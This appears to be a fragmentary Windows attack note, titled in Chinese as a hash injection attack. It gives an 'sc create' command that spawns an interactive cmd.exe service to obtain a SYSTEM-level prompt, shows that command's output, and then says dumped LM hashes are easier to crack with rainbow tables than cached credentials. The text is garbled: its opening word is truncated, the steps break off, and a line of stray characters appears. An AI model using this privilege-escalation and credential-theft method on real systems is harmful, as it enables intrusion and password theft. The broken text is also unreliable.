HASH注入式攻击

o get a DOS Prompt as NT system:

C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact

The service did not respond to the start or control request in a timely fashion.

Then in the new DOS window:

- r, V5 j" v+ j! S8 EThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
